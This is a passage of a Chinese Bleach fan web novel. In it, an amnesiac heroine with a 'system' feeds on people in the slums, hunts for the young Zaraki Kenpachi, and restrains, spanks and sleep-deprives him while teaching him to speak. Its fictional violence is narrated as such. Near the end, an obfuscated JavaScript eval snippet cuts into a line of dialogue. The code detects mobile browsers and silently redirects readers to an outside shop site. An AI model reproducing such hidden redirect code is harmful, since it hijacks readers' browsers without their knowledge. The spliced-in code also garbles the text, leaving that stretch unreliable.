在之前的短暂交锋中,少女身手敏捷,实力深藏不露。当他逃跑时,她非但没有息事宁人,反而拦住了他的去路,言行举止间肆无忌惮,对自己抱持十足的信心,不像以进为退的手段。 从种种迹象来看,男子得出一个结论——他做了一件蠢事,自投罗网。在这场捕猎中,他才是猎物。 为了活命,他必须逃出这个封闭的牢笼。 男子当机立断,上前和少女缠斗,觑机在打斗中和少女交换位置,好接近大门逃跑。 若月千纱哪里看不出他肚子里打的是什么算盘,反倒被激起更大的斗志:“如果你能逃出这扇门,就算我输,我不会穷追不舍。” 男子眼中燃起更浓的求生欲,使出浑身解数与她对打。 男子身上无伤,身强体壮,精力充沛,动作灵活敏捷,性格又阴险狡诈,不择手段,棘手程度远超她交手过的上一个对手。 但是,若月千纱敢站出来,自然是因为她有足够的底气。 距离上一次对战已过去十来天,她经过不懈的努力锻炼,也已不是当初的自己。 在这些日子里,她专注于磨练自己的战斗能力,体能大幅度增强,对格斗术的掌握度也更高。此外,由于醍醐灌顶传功式金手指的加成,她每加强一分基础,身体和大脑的协调性就随之提升,发挥出的战斗力能多提高一个台阶。 眼前的这个男子虽在力量和体格上占据绝对优势,但时至今日,他已不足以被她看做强敌。 若月千纱的实战经验很少,刚开始还有些手忙脚乱,好几次被男子阴招暗算,险些放跑他。随着时间的推移,她的动作越发娴熟精炼,出招时的不必要动作越来越少。 局势从原本的势均力敌变成一面倒。男子手段尽出,却始终无法翻出她的五指山,被翻来覆去地打摔得遍体鳞伤,趴在地上爬不起来。 若月千纱气喘吁吁地站在距离他一步之遥的地方,依旧堵着门,用一种怪异的眼神盯着他。 经过此番剧烈战斗,她体内的水分流失了许多。这几日一直困扰着她的口渴感越发强烈起来,仿佛在向她下最后通牒。 没有时间了。二选一的时刻迫在眉睫。 一边是人性,一边是生存,她该选择哪一边? 她面临艰难的抉择,陷入天人交战之中。 若月千纱没有记忆,但她的身体本能抗拒自己成为茹毛饮血的野兽。 她是人类,怎能做出那种惨无人道的血腥行径呢? 可是,若是不补充水分,她的生命即将走到尽头。 她的理智渴望生存,她的情感排斥堕落。 她的眼神飘忽不定,迟迟下不了决定。 火烧火燎般的干渴感再次在嘴唇上燃烧。她下意识伸出舌头,舔了舔嘴唇。 她的舌尖舔过干裂的嘴唇,带起一阵阵轻微却不容忽视的刺痛感。与此同时,一股铁锈般的血腥味在她的舌头上蔓延开来。 她怔住了,抬起手背,在嘴唇上轻轻一碰。 看着手背处几道血迹,她的目光抖了两下,不再动摇,笔直地看向男子眼睛。 她在他身旁单膝跪下,俯身,露出两排整齐的贝齿:“人类?我现在哪里还算人类呢?更何况,生命重于一切。都是为了活着,要怪,就怪你选错了猎物,闯错了门吧。” 男子惊恐万分,拖着无力的身体挣扎逃命,却被若月千纱钳制住手脚,只能绝望地看着她的牙齿落下。 半晌,房屋的门被人拉开,从里面走出一个披着破破烂烂外衣的少女。 7. 第七章 《[死神]智障系统总在坑我》全本免费阅读 若月千纱全身气势一泄,捶胸顿足,满脸崩溃:“啊啊啊,你本来就没多大用处,现在连原有的指路模式都不好使吗?之前的导航功能难道是任务附赠的一次性-福利,只能昙花一现?垃圾系统!废物系统!我都骂得这么难听了,求你崛起,狠狠地打我的脸一回!” 蓝紫色蝴蝶大概无所谓虚名,我行我素地在她身旁飞舞。 若月千纱心里怒极,忿忿不平地朝它挥出拳头。 她的拳头强劲有力,拳风呼呼作响,正面打中了蓝紫色蝴蝶。 拳头和蓝紫色蝴蝶重叠时,蓝紫色蝴蝶不见了痕迹。转瞬,拳头穿过了蓝紫色蝴蝶,蓝紫色蝴蝶重现,毫发无伤。 若月千纱松开没有击中实物感的拳头,无奈地抽离目光,投向远方:“与其做无用功白费力气,不如节约点时间达成目的……这片土地如此辽阔,寻人不啻于大海捞针。上天保佑,崽崽千万不要挪地儿,仍然在原本的固定范围内活动啊!” 虽然但是,她觉得希望渺茫。 她的暂居点距离初见崽崽的地方不远。觅食时,她刻意以初见地点为圆圈中心,扩大她的捕猎范围直径,但不曾发现过崽崽的踪迹。十有八-九,崽崽早已更换了活动区域。 失去地图定位,她能怎么办?碰运气找呗!一靠自己,二靠猎物。 她承诺过,若猎物知晓崽崽的位置,她会大发慈悲放猎物一条生路,并且从今往后不再以他们为目标。奈何她运气欠佳,不曾见过更木剑八。而她遇到的那些个猎物,一个个也有骨气得很,像河蚌一般,死活不肯张嘴。 当然,她也遇到过忙不迭点头的猎物。然而,他们这么做只是为了放松她的警惕,趁她松懈之时进行反击,给予她希望后又让她坠入失望的深渊。当然,戏弄她的代价十分昂贵,那些瞎点头的猎物纷纷落了个惨痛的下场。 为了扩大搜寻范围,若月千纱无奈地过上了居无定所的生活。她离开原本的暂居处,紧贴着原狩猎圈落脚,重新划定狩猎圈。 每日,她锻炼完毕后,便出门寻人。她走过一条条路,趴过每间屋子的窗户,远远地观察过门外的每一个人。由于要躲着门外红了眼搏命的人走,也怕不小心遗漏目标,每个狩猎圈她都需要反复再三的搜索,花费了不少时间。 她每次都要在新的狩猎圈内住上数日,搜索未果后,才顺着顺时针方向选定下一个狩猎圈,渐渐地将所有狩猎圈连成一片。 这种搜索方式耗时耗力,但在没有任何线索的情况下,确实是最有效的办法。 崽崽还小,为了自身安全,不可能独自远行,将他的小巢建在离初见点太远的地方。 从常理而论,她的做法非常正确。然而,这个世界上总是存在一些偏离常理的意外。譬如,崽崽其实是个超级大路痴,他从来没有什么所谓的固定巢穴,向来是走到哪歇到哪,毕竟到处都有无人的房屋,不缺住的地方。 这是一场漫长的寻亲之旅。 待若月千纱找到更木剑八时,距离她出发之日,时间已足足过去……近两年。 “喂,系统,你的任务有没有时效性?整整两年都找不到人,崽崽他还活着吗?我能不能申请弃养他,重新领养另一个孩子?你看,我们这两年不是也遇到过两三个5岁左右的孩子嘛。”若月千纱用商量的口吻问道,“做系统不能太死板,我们的交情好歹维持了两年,怎么着都算朋友啦。你就通融一下,重新给我发布个任务呗?” 蓝紫色蝴蝶用万年不变的无动于衷回应同行两年的宿主。 “找不到人就算了,好歹出现一条溪流让我洗个澡啊!我全身上下馊了两年啊!”她的内心深处充满了各种各样的绝望,“系统,我搜索过的圆圈范围半径至少有几十公里长,为什么周围的景象还是一成不变?这个‘贫民窟’的占地面积到底有多大?” 她不知道,80区是尸魂界流魂街里最落后、同时也是各区中占地面积最大的区域。以她的寻人方式,就算她再找个十年八年,也碰不到79区的边界线。 蓝紫色蝴蝶不曾理会过若月千纱,但她的嘴巴仍不停地张合着。 在漫长的时间里,无人和她对话,她养成了跟蓝紫色蝴蝶自言自语的习惯。 “崽崽如果还活着,现在该有四五岁了吧?这么长时间不见,我能认出发育后的崽崽吗?要知道,我和他相处的时间加起来不超过半天……系统,不能更换任务的话,追加一个任务也行啊,我愿意养第二个孩子。初级的白打技能我已经彻底掌握了,需要中级的白打技能升级啊!” 一个魁梧大汉看到她落单,向她猛冲而来。 若月千纱神色不变,轻描淡写地将他当场制伏,享用了一顿送上门的美餐。 四周慢了一拍出击的捕食者们看到眼前出乎意料的一幕,顿住身体,一言不发地往相反方向四散逃开。 若月千纱抹了一把嘴巴,继续走自己的路。 “只用了两年时间修炼,我的实力已经赶超绝大部分普通人付出的一辈子努力。除了少数精通武艺之人外,我少有败绩……莫非我是武学天才?”她眼睛一亮,嘴角咧到耳根,“怪不得我会被系统绑定,莫非它看中了我绝佳的资质……啊咧?” 若月千纱身体剧震,停下脚步。她揉了揉眼睛,看了看前方,又揉了揉眼睛。 她眼花了吗?她好像看到一个一两岁左右的幼儿放倒了一个魁梧大汉耶!而且,那个幼儿现在正踩在大汉背上看她。 他顶着头发长度参差不齐的刺猬头,一脸凶神恶煞,眼神如狼崽般杀气四溢,嘴角沾着血迹,一如两年前的那场初见。 她扯了扯嘴角,尬笑道:“系统,我的眼睛是不是出了点问题,大白天的就产生了幻觉?一个一两岁幼儿打倒体型比他大几倍的魁梧大汉什么的,绝对是我眼花了吧?你看,我还把那个幼儿幻视成我家的崽崽……” 幼儿伸出舌头将嘴唇上的血液舔干净,弓起身体,朝她呲牙,向她释放“不准抢食”的信号。 “……既视感太强,想自欺欺人都不行。他就是我家崽崽吧?两年不见,他居然一点个头都不长!?话说回来,这两年来,我似乎也没有长高过 8. 第八章 《[死神]智障系统总在坑我》全本免费阅读 以若月千纱的跑步速度,她很快就能追上更木剑八,但她偏不这么做。 哪怕时间过去两年,但她仍然记得系统任务的描述——得到更木剑八的认可。 蓝紫色蝴蝶没有结算任务奖励,说明单纯地打赢更木剑八并非完成任务系统的答案。 那么,她需要换着花样慢慢试验,将答案试出来。 她如同戏耍老鼠的猫一般,和他保持五步距离,如影随形地缀在更木剑八身后,却又不急着扑捉他,让他时刻“享受”着游走于悬崖之上般提心吊胆的感觉。 玩的就是心跳!恐惧也能让人顺从嘛。 恐惧不是正确的钥匙。她追着更木剑八跑了老远,依然没收到系统的反馈。 “没关系,再换。” 若月千纱拉近两人之间的距离,强迫更木剑八再次和她战斗。 一次不够的话,那就多打赢他几回呗,说不定有用。 两回、三回、四回……十回。 为了折服崽崽,若月千纱施展出初级白打的所有技能,展现出毋庸置疑的强大实力。 最初,更木剑八还能挣扎一下,和她多战几个回合。他的体力在战斗中逐渐流失,到最后几乎没有招架之力,被她摁在地上反复摩擦。 更木剑八打不过她,跑不过她,输的姿势五花八门,却从未屈服过一次,眼神里仍燃烧着顽强的斗志。 若月千纱看着眼前狼狈不堪的崽崽,略感心虚:“崽崽,你可别怪我让你吃了那么多苦头,这都是系统的错,谁让它不把任务写得更详细一些。抱歉啦,我得对你采取强制措施了。” 她使出平时放倒成年男子的力道,一个手刀砍向更木剑八侧颈的迷走神经处。 他一个踉跄,稳住身形,向前方一间空房子跑去。 若月千纱:“……真是不能手软啊。” 她追上更木剑八,手上运劲,用双倍力道补了一记手刀。 梅开二度。 更木剑八身体僵直了一瞬,扑倒在地,挣扎了两下才从地上爬了起来,继续往前冲。 若月千纱:“……” 她反省,是她低估了变异崽崽。 “事不过三。如果这次再放不倒你……你就等着挨别的招吧。” 好在更木剑八的脖子并非钢铁铸就,在她第三次施以辣手后,他终于失去意识,昏厥过去。 若月千纱接住倒下的崽崽,把他抱回暂居地,放在地上的衣服上,盖好衣服,蹲在旁边观察他的昏……睡颜。 小野兽睡着的时候就像摊开肚皮的幼犬,看起来柔弱无害,他身下铺开的两件宽大衣服衬得他更加幼小可怜。 若月千纱心生怜惜,作为养育者的责任悄然萌芽。 “合格的养育者该做些什么事情?提供吃穿住行条件?这里什么都缺,吃靠血战胜利,穿靠扒人衣裳,住靠破屋一间,行靠自个儿双腿。我该如何提高他的生活质量?” 若月千纱苦恼地挠了挠头,果断放弃无谓的深思:“养育养育,除了养就是育,我试着往教育方向使劲吧。” “看崽崽之前的表现,这两年应该还没学会说话。也是,这里的人跟哑巴似的,只顾着厮杀和苟活,他哪来的学习环境?我干脆先教他说话!另外,崽崽在战斗方面天赋异禀,如果学会初级白打,绝对是如虎添翼……” 她回想起更木剑八刚才的表现,停顿了一下,偷看了熟睡的崽崽一眼,面向蓝紫色蝴蝶,语气深沉:“……双向交流至关重要,教他听说读写才是目前的最优解。传授武技什么的完全可以往后排,反正我足以保护他。你说是吧?” 蓝紫色蝴蝶不知疲倦地扇着翅膀,一副“你说任你说,清风拂山岗”的无视态度。 若月千纱假装被自己说服,出门准备她的教育用品。 纸和笔是教学时最普遍也最实用的学习用品,可惜这里没有,她只能寻找替代品。 细沙非常适合代替纸用来练习识字,只要在地板上浅浅铺开一层,就能以手指作笔,在上面留下清晰的字迹。 然后,她在门外看到一片片染色不均的后天型红褐色土壤。 “……细沙什么的就算了吧。” 她一秒放弃不知浸泡过多少人血液的沙子,在周围寻找一头较为圆润平滑、一头较为尖锐的石头。 她挑选出几块大小合适的碎石块回到屋内,随手拿起一块,握住不伤手的那一头,在木质地板上划来划去,留下一道道浅浅的划痕。 “嗯,这样也不错。擦不掉字迹是坏处也是好处,留下的文字可以供崽崽反复观摩记忆。就算刻满地板和四面墙壁,也有的是其他空房子继续学习。哇,拿房子当纸,我真是奢侈了一把呀。” 若月千纱做好学前准备工作,乐呵呵地等更木剑八睁眼。 更木剑八刚睁开眼睛,就看到之前阴魂不散地追着他的人露出一脸不怀好意的笑容。他浑身炸毛,踢开盖在他身上碍手碍脚的衣服,迅速向旁边一滚,一个鲤鱼打挺从地上蹦起来,直冲向大门。 “哎呀,我原本想要以好老师的身份和你好好相处,以德服人,是你辜负了我的一片好意。我只好入乡随俗啦。”若月千纱恶意卖萌,吐了吐舌头,歪了下脑袋,粲然一笑,“这都是你逼我的哦。” 更木剑八有多桀骜不驯,她刚才已经领教过了,彻底剔除掉“打败他后强迫他听话让他坐下”的选项。 在这片“三无”的黑色地带上,她还是按这里简单粗暴的规矩办事吧。 她耗费些许时间摆平恢复精力的更木剑八,趁他陷入昏迷,用尖锐的石头把屋里多屯的一件衣服割成一道道宽布条,卷起长边制成简易绳索,将他五花大绑起来。 “Good job!绑得这么结实,除非他再长出两条手,否则没希望逃脱。” 若月千纱欣赏了一番自己的杰作,把更木剑八摇醒。 更木剑八的第一反应仍是逃跑。然而,他没能成功迈出腿,还害得自己身体前倾,向前摔了个狗啃泥。 9. 第九章 《[死神]智障系统总在坑我》全本免费阅读 无论更木剑八有心抑或无心,“石头”这个发音都在他的大脑里安了家。而那块始终在他面前晃悠的石头,则入了他的眼,和那个令人烦躁的声音匹配成双。 若月千纱坚持不懈,用水磨工夫达成了她的目的,但她没有及时察觉。 更木剑八被反复循环的发音念得心烦气躁、头昏脑涨,却苦于双手被捆,无法堵住双耳,一脸灵魂出窍的表情。 若月千纱念到口干舌燥,直至心里产生一种“石头是这个发音吗”的疑惑后,终于合上了嘴巴。 更木剑八耳根一净,露出灵魂得到净化般的安详神情。 若月千纱安静了片刻,瞅着更木剑八恢复生机的侧脸,冷不防试探道:“石头。” 更木剑八身体一抖,眼珠子不受控制地往地上撇了一眼,视线落点就在碎石块上。 若月千纱欢呼雀跃:“我成功了!这个方法可行!决定了,其他词汇也这么教!” 更木剑八不知道,他最初的拼死不配合造就了多严重的后果,而他一时的条件发射又给他挖了一个多大的巨坑,以致于让他日后对学习产生生理性厌恶,留下无法弥补的心灵创伤。 若月千纱趁热打铁,就着双眼能看到的其他东西,依葫芦画瓢地教了一回。 更木剑八身体力行地验证了一个事实,人,是会学乖的。 经过数个小时的痛苦折磨,他发现,无论他使出多大的力气,总能被她压制下来,他无法逃脱她的魔爪,所有的挣扎都是徒劳。唯有尽快记住那些陌生的词汇,并知晓它们对应的东西,他才能摆脱耳旁连绵不绝的重复魔音。 在最后的最后,他没再浪费时间,乖巧地顺着她的手指看向她的指尖点中的东西,用心竖起耳朵捕捉她的声音,并在最短的时间内铭记于心,积极地向她释放信号,示意自己已学会。 可惜他太晚学乖,导致若月千纱产生天大的误会,不仅认定她的教学方式卓有成效,还沾沾自喜地在心里夸赞自己,觉得自己是个循循善诱的好老师。 当晚,若月千纱抱着——与其说是抱,用“束缚”二字或许更符合事实——未解绑的更木剑八一起躺在铺展开的衣服上。 更木剑八竭力挣扎,如同不小心蹦到岸上的鱼,身体扭个不停。 若月千纱费了老大力气,才把他禁锢在怀里:“抱歉,在你愿意和我和平共处前,我不能给你松绑。若解开你的束缚,我怕你逃走,更怕自己见不到明日的天空。和陌生人一起睡,你是不是觉得非常别扭、不舒服?我也一样。所以,希望你能尽快认可我,和我亲近起来啊。时间一久,你自会知道我对你没有恶意。” 都说日久生情。若月千纱要做个实验,用一段不短的陪伴时间进行验证。倘若她强行亲近崽崽,让他们从多方面熟悉彼此,那么,在他们之间是否能诞生出正面的感情羁绊? 她期待着那个答案。 她缺失太多记忆,甚至遗忘了部分不重要的常识,其中包含一种名为“斯得哥尔摩综合征”的心理学现象。她那自以为是的做法,可谓是不自知的罪大恶极。 好在更木剑八心性坚韧,并没有屈从于这种心理,而是不断地进行反抗。 他们的缘分始于利益,又在错误的地点相遇,用错误的方式相处。在这两人之间,必将展开一场漫长的拉锯战。 而这场旷日持久的战斗的硝烟已经点燃。 若月千纱嘴上说得好听,但抱着一枚随时可能把自己炸得粉身碎骨的不定时炸弹,她怎么可能不管不顾地倒头大睡?她眯着眼睛假寐,双眼间留出一条极细的缝隙,让她得以观察怀中之人。 被若月千纱制住后,更木剑八似乎终于认清现实,不再胡乱挣扎,默默地闭上了眼睛。 然而,那只是一个假象,他只是静静地潜伏在黑暗中,等待时机的到来。 一个小时,两个小时……窗外的月亮慢慢爬到天空最高处,又缓缓落下。 夜深人静时,夜色催人眠。 更木剑八一动不动地侧躺在她怀里,许久不曾闹出动静,呼吸绵长均匀,一副陷入沉睡的模样。周围一片静谧,岁月静好。 若月千纱强撑了半夜,见无事发生,暗笑自己多心,不由得放松了警惕。 她的心弦一松,睡意顿时席卷而来。她的眼皮子沉沉地坠了下来,微启的眼缝合拢,朦胧的月光消失在她的视野中。 视野被黑暗吞噬的一刹那,她心下一惊,瞪大双眼。 黑夜中,更木剑八恬静的睡脸映照进她的眼中,和其他天真无邪的幼儿一般无二。 若月千纱的警惕心再去几分,自嘲地翘起嘴角,心里暗想:崽崽再怎么厉害,果然还是千真万确的缺觉幼儿,受限于生理本能呢。 介于明日她将应对睡一觉后精气神回满的更木剑八,她不敢一夜不眠,放任自己陷入萎靡不振的状态。不过,她也不敢就此酣睡。 她保持几分警觉,进入浅眠状态,于半睡半醒间警戒着周围的异动。 当她的呼吸变得更加绵长后,她怀中的幼儿静悄悄地睁开了双眼,目光无比清醒且凶狠。 电光石火间,他迅速低头拉长攻击距离,而后脑袋猛地往后撞去,顶骨狠狠地撞向若月千纱的胸口。 更木剑八蛰伏数个小时,就为了这出乎意料的致命一击。 这一击摒弃所有多余的动作,干脆利落,凌厉凶猛,使足了力道。 倘若这一击实实在在地击中不设防的若月千纱,她或许会就此丧失战斗力,和他地位逆转,沦为砧板上的鱼肉。 更木剑八白天表现得过于头铁,以致于让她忘记野兽也有狡猾的一面。所幸她已不是初醒时的雏鸟,在两年多时间里饱经实战磨砺,身体已培养出战斗本能,对危机和杀气十分敏感。 但若是她毫无防备,睡得太沉,即便身体发出警报,恐怕也难以在第一时间做出反应,想必会一时失足,找了他的道。 更木剑八甫一有所动作,若月千纱便 10. 第十章 《[死神]智障系统总在坑我》全本免费阅读 月光从窗外照进窗内,照亮了更木剑八手里的东西——那是一块对她来说略小、对他而言却足够大的碎石块。 石头那一端尖锐的凸起朝向外侧,携带凌厉的气势,重重地砸在木窗中间十字木条交叉的落点处,木条应声而裂。 更木剑八伸出左手扣住窗户边缘,把自己吊在窗户上,右手沿着窗框猛砸四次,将两根木条从窗框上砸落。 该死!更木剑八竟硬生生趟出了一条她未曾想过的逃生道路! “啊啊啊,给我站住——” 若月千纱乱了手脚,惊慌失措地跑向窗户,伸手拽向他的脚,不让他翻出窗户。 一块石头朝她的脸激射而来。 若月千纱提起心脏,竖起手臂挡在脸前,身体向一旁闪开,和他拉开距离。 然而,他们的距离太近,石头的速度又太快,她没能躲开。 石头砸中她的小臂,弹开,落在地上。 “唔!” 若月千纱闷哼一声,右手探向左臂,确认伤势。 在石头砸到手臂时,她顺势转动手臂卸掉它的部分力道,没让砸实。虽免不了淤青疼痛出血,但好歹保住了小臂骨,没被石头砸裂。 皮肉之痛算不得什么。 若月千纱心下一松,看向窗户。 窗户上的两根木条被更木剑八从两侧砸断,已不成阻碍。他个头瘦小,随时能从洞口钻出,逃离这座房屋。 但他没有急着钻出去,依旧挂在窗户上,扭头看着她。 若月千纱心生可惜之感。 更木剑八确实能钻过窗户,但那扇窗户确实很小,折断的木条又留下短短的木茬在窗框上,加大了翻越的难度。即便是幼儿体型,想钻出窗户,也颇费一些时间。 若他刚才不管不顾地钻出去,想必这会儿正卡在窗户中间,露出不设防的下半截身体。若是那样,她便可以轻易逮住他,抓住他的脚把他硬拉进房间。 更木剑八再次扬起手,接连向她扔出几小段木条。 木条两端的断口参差不齐,毛刺众多,被砸中后很难处理伤口。 幸而她之前和他拉开一小截距离,给予她的反应时间相应延长了那么一点点。 只是短短一点点时间的区别,就足以让她无伤闪避。 闪避之间,她和他的距离再次拉开一两步。 若月千纱并没有把他们之间的短暂距离放在心里。在她看来,这段距离不过几步,她完全来得及在他钻出窗户前擒获他。 “放弃吧,剑八!想要逃出这里,你还缺几秒时间。失之毫厘,谬以千里……阿嚏——阿嚏——阿嚏——” 木条断口处的碎屑残渣如天女散花般在空中洒向四周,轻如粉尘的碎末轻盈地在空中飞舞。若月千纱眼睛一迷,鼻子一痒,抑制不住生理冲动,接二连三地打起喷嚏来。 待她停止打喷嚏后,屋里已看不见更木剑八的身影。 若月千纱:“……” 啧,脸好疼。 她要么小看了更木剑八的智慧,要么低估了他的运气。 “第一回合算你赢。走着瞧吧,臭小子,现在进入第二回合!” 若月千纱咬牙切齿地扑向窗户,看到他的身影一晃而过,从某个方向消失在她的视野中。 她迅速跑出屋子,朝那个方向追击而去。 深夜里,一场追逐战悄然打响。 这片土地资源极其匮乏,没有任何人造光亮为居民们照亮黑夜,唯一的光源来自于天上。即便是再好斗的人,都不会选择在夜里出门厮杀,给自己制造不利因素。 因此,没有任何人拦在若月千纱面前,她的追击之路畅通无阻。 夜深人静时,所有人都在屋里睡觉,夜里每一丝细微的动静都会被无限放大。更木剑八不是真正的野兽,脚上没有能消音的肉垫,动作再轻盈,也难免弄出些声响,为她指明前进的方向。 “不好意思,这一回合,运气是站在我这边的!” 若月千纱锁定正确的方位后,便循着声响追踪在他身后,一点点和他拉近距离。 她这两年可不是白训练的!想和她赛跑?等他再长高一些、腿再长长一点再说吧! 她竖起耳朵捕捉他的声音,辨认他的方位。 不知为何,他并未沿着一个方向笔直逃亡,虽不至于反向冲刺,但路线七拐八弯,看似的确在朝更远处逃跑,但却是绕了远路,导致两人的距离越来越近。 “这里又不是迷宫,必须弯弯绕绕地前进,我手上也没有远程武器,他为什么要走不规则路线?”若月千纱百思不得其解,“两点之间线段最短,现在最重要的难道不是和我拉开直线距离吗?” 她不理解,但这种行为并不妨碍她,反倒对她有利,她便欣然接受这一事实。 两人的距离越来越近。按照这个速度,他们很快就能相遇。若是两人面对面搏斗,胜利必然属于她。 “别做无谓的挣扎了,剑八!乖乖跟姐姐回家,只要你接受小小的惩罚,姐姐就会大发慈悲原谅你……诶?” 随着大门开合的声音,前方跑动的声音消失不见了。 “逃不过我,便躲到空房子里了吗?这里的木门确实挺结实,我撞不开,可破坏一个门锁还不简单?剑八,你走错棋了。想玩躲猫猫?我陪你。看我如何瓮中捉鳖!” 若月千纱依稀记得最后的声音消失于何处,按照记忆向大致位置飞奔而去。 被她锁定的那一小块地方总共有十二间房屋。 她随机选择其中一间,纵身一跳,双手一抓,攀在屋子的窗户上往里面望去,打算逐一验明屋主人的身份。 能在80区存活下来的人大多觉轻,她和更木剑八闹出的动静不大,却足以将附近大部分人惊醒。更别说,她还直接上了窗。但凡屋内有主人,总该有点表示。 她刚望向窗内,便迎来屋主人的热烈欢迎——一大把碎石穿过窗户空隙,直射向她凑近的脸。 碎石可是80区最常见的武器,若月千纱自己都在用,怎么可能没有防备? 她的反应极其敏捷,眼睛一闭,胳膊一松,整个人落在窗户下方,迅速拉开距离,躲开屋主人穷追不舍的碎石攻击。 “哼哼哼,想暗算我?没门!你以为我吃过多少次它的亏了 11. 第十一章 若月千纱及时赶到窗户下,声音雀跃:“好险,差点又被你跑了。不过,你还是落在我手上啦。夜深了,小孩子要早点睡觉哦。” 更木剑八身在半空,手无寸铁,难以调整姿势,不好使力出招,只得伸脚蹬了下墙壁,跃向前方。 可惜,若月千纱早有预料,跟着往前一蹿。 此时此刻,她没有和他对练的心思,趁他破绽大开,迅速将他擒住,击晕,抱着他一阵逃窜。 吓死了,她刚才听到好几处房间开门的声音。再迟一步,她要被人群殴了! 她不怕单挑对群殴,但她怀里不是有个累赘么! 她追着更木剑八出来,不曾记路,早已分不清他们先前的落脚点在哪,只能随意找一间空房子落脚。 她四仰八叉地躺在地上,看着“睡”得正香的更木剑八,不由磨牙:“臭小子,因为你,我们的外套、床单、被子和绳子全没啦!你睡得那么香,我却得出门摸些衣服回来……我告诉你,今晚的事还没过去,你的惩罚只是暂时押后!” 她摸黑出了趟门。 白天,重新被五花大绑的更木剑八刚睁开眼睛,就看到那个疯女人一脸憔悴沧桑,满眼睡意,仿佛熬了通宵的夜。 若月·真一夜未眠·千纱盯着睡得神清气爽的幼儿,咧开了嘴:“臭小子,秋后算账的时间到了!” 她把行动不便的更木剑八按在自己膝头,扒下他的裤子,对准他的屁股“啪啪啪”打了一通巴掌。 “小孩子不听话胡闹乱来,自然该打屁股长长教训!” 更木剑八生活在名为更木区的人间地狱数年,经历过无数磨难,多次九死一生后幸存,受伤流血于他而言不过家常便饭。 若月千纱的惩罚不重,不伤筋动骨,不流血也不会很痛,对他来说不痛不痒。 这个年纪的孩子,尚不懂得什么叫做“羞耻”。不过,他不会放任敌人对他的身体进行攻击。 更木剑八拼命挣扎,想要躲开连绵不断的攻击。 若月千纱的左手巧妙地锁住他的身体,就像焊在他身上的枷锁,让他无法逃脱。她的手掌跟长了眼睛似的,每一下都能精准命中乱动的屁股。 她一边打一边碎碎念:“这就是造反失败的下场!谁让你晚上不好好睡觉,非要扰人清梦,还霍霍家产!害我大半夜不能睡觉,还得出门陪你玩捉迷藏,摸死人衣服回来……” 直至小麦色的皮肤晕染开一片绯红色,若月千纱才意犹未尽地停了手,帮他把裤子提上,宣布道:“接下来,又到学习时间了!” 对更木剑八来说,真正的噩梦降临了。 若月千纱帮助他复习昨日的功课,巩固知识,而后继续传授他新的词汇。 她不是正式教师,没有系统的教学方式,心随意动,想怎么教就怎么教。屋里空荡荡的,屋外的景色也很单调,能教给他的实物词汇她都教完了,便转而教他身体部位及五官的发音。 小孩忘性大,更木剑八已忘了昨日的教训,再次负隅顽抗一番后,才低下倔强的头颅。 若月千纱毫不吝惜口水,教育时间外也不停地和他说话,对他进行语言刺激,让他在潜移默化地获取语言信息,好尽快听懂她说的话。 更木剑八听得头昏脑涨,一整个白天蔫巴巴的。 到了夜里,如同念咒一般的声音消失了,他再次变得生龙活虎,眼珠子灵活地左右转动,蠢蠢欲动,打算开始新一轮逃亡。 若月千纱看着他明显的小表情,打着一连串哈欠,提起精神,等待自家崽崽出招。 她就知道,她家崽崽不可能乖乖睡觉。 崽崽这两日的表现充分说明他是一个不安分的崽崽,她相信,今夜他也会为了自由揭竿而起。 她已经复盘过昨日的经历,找到了失误的源头——碎石块。没了它,他解放不了四肢,破坏不了窗户,也逃不出屋子。 今日,她没有将碎石块带入房屋,也检查过屋子的每个角落,确认自个儿地盘上没有多余的东西。她倒要看看,他能用什么办法逃出去? 若月千纱抱着更木剑八躺在衣服上,静静地等夜幕降临。 比起上一夜,今夜的她睡意更浓。 她不敢在崽崽面前睡着,一直保持着高度的警惕,此刻足有将近40个小时未眠。 身体的每一个细胞都在叫嚣休息,只要一合上双眼,她觉得自己就能秒睡。 为了保持清醒,她干脆不合眼,一眼不眨地盯着崽崽的后脑勺,视线灼热地快要洞穿他的脑袋。 来呀,让我看看你还有什么手段! 更木剑八从未遇到过若月千纱这种人。她打败他、绑住他、困住他,却不是为了吸血,反倒一直教他说话,做的事情奇奇怪怪、疯疯癫癫。 他的命正捏在她的手上,她要杀要剐,都轻而易举,但她不曾真正伤害过他。他昨晚为了逃跑对她下了狠手,她也只是打了他屁股一顿,便把事情翻篇,无事人一般抱着他继续教学。 他不通世事,小脑瓜子怎么都理解不了她的怪异做法。但是,野兽般的直觉告诉他——她不会轻易伤害他。 然而,她不伤害他又如何?野兽总在向往自由。无论如何,他都想挣脱牢笼,回归自然。 更木剑八确实没有新鲜的手段,只不过,他懵懂地利用了狡猾的天性。 他的直觉带给他一个改变——他敢在她面前睡觉了。他采用分段睡眠,每睡一小段时间便醒来一回,试图挣脱她的怀抱逃向门边。 若月千纱刚开始不以为意,一次次将他压制住。次数一多,她察觉到不对。 好家伙,这小子竟然在一边养精蓄锐,一边消耗她的精力!长此以往,他仍保存十足的精神,而她只会越来越困。若她扛不住睡意睡过去,他便能觑机逃跑! 他是让她彻夜不眠的始作俑者。她都不能睡,他凭什么可以睡? 若月千纱泛红的眼角一弯,露出一个狞笑,右手盖在他的头顶上,疯狂揉搓:“亲爱的剑八,月亮这么美,我们来通宵赏月吧!” 睡什么睡?睡你麻痹起来嗨啊! 她抱着被她摇醒的更木剑八走到窗户旁,指向窗户。 “看到这扇窗户了没?它被木条封着嘞,你出不去!看到那轮月亮没?它又大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12856226|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又圆,可惜你只能关在屋子里看它!” 不睡就不睡,谁怕谁? 区区几天不睡觉,还能熬死她不成?她才不信,论熬夜,自己会输给嗜睡的小孩呢!她多熬的四十多个小时,就当让给他的! 当夜,若月千纱陪更木剑八看了一晚的月亮。他每次一闭上眼睛,就会被她亲切地唤醒,直至天明。 次日,一对一教学课堂上,若月千纱瞪着一对熊猫眼,更木剑八眼下发青,相映成趣。 伤敌一千自损八百成就达成。 疲惫的一天过去后,两人又度过互相陪伴的不眠的一夜。 